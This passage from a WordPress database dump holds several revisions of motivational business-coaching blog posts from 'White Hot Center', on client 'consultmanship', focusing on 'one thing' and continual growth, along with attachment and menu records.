behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-7', '', '', '2011-12-23 14:25:54', '2011-12-23 21:25:54', '', 1844, 'http://www.whitehotcenter.com/1844-revision-7/', 0, 'revision', '', 0),
(1853, 2, '2011-12-29 13:27:07', '2011-12-29 20:27:07', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\n\n<strong>Do you (and your team) deliver on everything you promise?</strong>\n\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\n\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\n\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\n\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\n\nHere are some practical suggestions for improving your level of consultmanship skills:\n\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal to you the value of the solution to them.You''re there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\n\nNaturally, you have to determine early in the conversation if the client the minimum money you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\n\n<strong><em>Managing expectation is your responsibility.</em></strong>\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\n\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\n\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\n\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\n\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-autosave', '', '', '2011-12-29 13:27:07', '2011-12-29 20:27:07', '', 1844, 'http://www.whitehotcenter.com/1844-autosave/', 0, 'revision', '', 0),
(1854, 2, '2011-12-23 14:31:13', '2011-12-23 21:31:13', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-8', '', '', '2011-12-23 14:31:13', '2011-12-23 21:31:13', '', 1844, 'http://www.whitehotcenter.com/1844-revision-8/', 0, 'revision', '', 0),
(1855, 2, '2011-12-29 13:26:01', '2011-12-29 20:26:01', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal to you the value of the solution to them.You''re there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client the minimum money you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-9', '', '', '2011-12-29 13:26:01', '2011-12-29 20:26:01', '', 1844, 'http://www.whitehotcenter.com/1844-revision-9/', 0, 'revision', '', 0),
(1870, 2, '2012-01-17 12:51:48', '2012-01-17 19:51:48', '', 'curly', 0, '', 'inherit', 'open', 'open', '', 'curly', '', '', '2012-01-17 12:51:48', '2012-01-17 19:51:48', '', 1869, 'http://www.whitehotcenter.com/wp-content/uploads/2012/01/curly.jpg', 0, 'attachment', 'image/jpeg', 0),
(1858, 1, '2011-07-07 13:28:19', '2011-07-07 20:28:19', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2011-07-07 13:28:19', '2011-07-07 20:28:19', '', 157, 'http://www.whitehotcenter.com/?p=1858', 0, 'revision', '', 0),
(1869, 2, '2012-01-17 13:07:10', '2012-01-17 20:07:10', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to creating a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'publish', 'open', 'open', '', 'all-you-have-to-do-is-one-thing', '', '', '2012-01-17 13:07:10', '2012-01-17 20:07:10', '', 0, 'http://www.whitehotcenter.com/?p=1869', 0, 'post', '', 3),
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(1861, 1, '2012-01-06 23:36:56', '2012-01-07 06:36:56', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2012-01-06 23:36:56', '2012-01-07 06:36:56', '', 157, 'http://www.whitehotcenter.com/157-revision-18/', 0, 'revision', '', 0),
(2985, 1, '2015-10-07 10:37:37', '0000-00-00 00:00:00', '', 'Woo Logo', 0, '', 'draft', 'closed', 'closed', '', 'woo-wf-woo_logo', '', '', '2015-10-07 10:37:37', '0000-00-00 00:00:00', '', 0, 'http://whc.fbdev.org/?post_type=wooframework&p=2985', 0, 'wooframework', '', 0),
(2469, 2, '2013-08-16 14:19:55', '2013-08-16 21:19:55', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span>', 'Always be growing!', 0, '', 'publish', 'open', 'open', '', 'always-be-growing', '', '', '2013-08-16 14:26:23', '2013-08-16 21:26:23', '', 0, 'http://www.whitehotcenter.com/?p=2469', 0, 'post', '', 0),
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(2925, 4680, '2015-09-26 01:41:28', '2015-09-26 08:41:28', '\n\nBuilding your business is a process not an event. It will always involve change. Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. To grow your business, it might be tempting to copy the success of others. In this podcast,you’ll learn why this is not a useful strategy.', 'WHC Podcast: The temptation to copy what works', 0, '', 'inherit', 'closed', 'closed', '', '2904-autosave-v1', '', '', '2015-09-26 01:41:28', '2015-09-26 08:41:28', '', 2904, 'http://whc.fbdev.org/2015/09/2904-autosave-v1/', 0, 'revision', '', 0),
(1868, 1, '2012-01-06 23:52:26', '2012-01-07 06:52:26', '', 'Contact', 0, '', 'publish', 'open', 'closed', '', 'contact', '', '', '2015-10-14 10:08:40', '2015-10-14 17:08:40', '', 0, 'http://www.whitehotcenter.com/?p=1868', 6, 'nav_menu_item', '', 0),
(1871, 2, '2012-01-17 12:55:15', '2012-01-17 19:55:15', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to a significant life is: one thing.</span></h1>\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\n\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\n\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\n\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\n\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\n\n<strong>Your one thing is your life’s great work.</strong>\n\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\n\nMake the decision to follow your heart because there is no better alternative.\n\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\n\n<strong>On the trail of discovery of your one thing.</strong>\n\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\n\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\n\nHere’s a hint–your one thing will involve your greater contribution to serve the good of others.\n\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\n\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\n\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\n\n<strong>Go ahead and put all your eggs in one basket.</strong>\n\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\n\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision', '', '', '2012-01-17 12:55:15', '2012-01-17 19:55:15', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision/', 0, 'revision', '', 0),
(1872, 2, '2012-01-17 12:56:04', '2012-01-17 19:56:04', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-2', '', '', '2012-01-17 12:56:04', '2012-01-17 19:56:04', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-2/', 0, 'revision', '', 0);
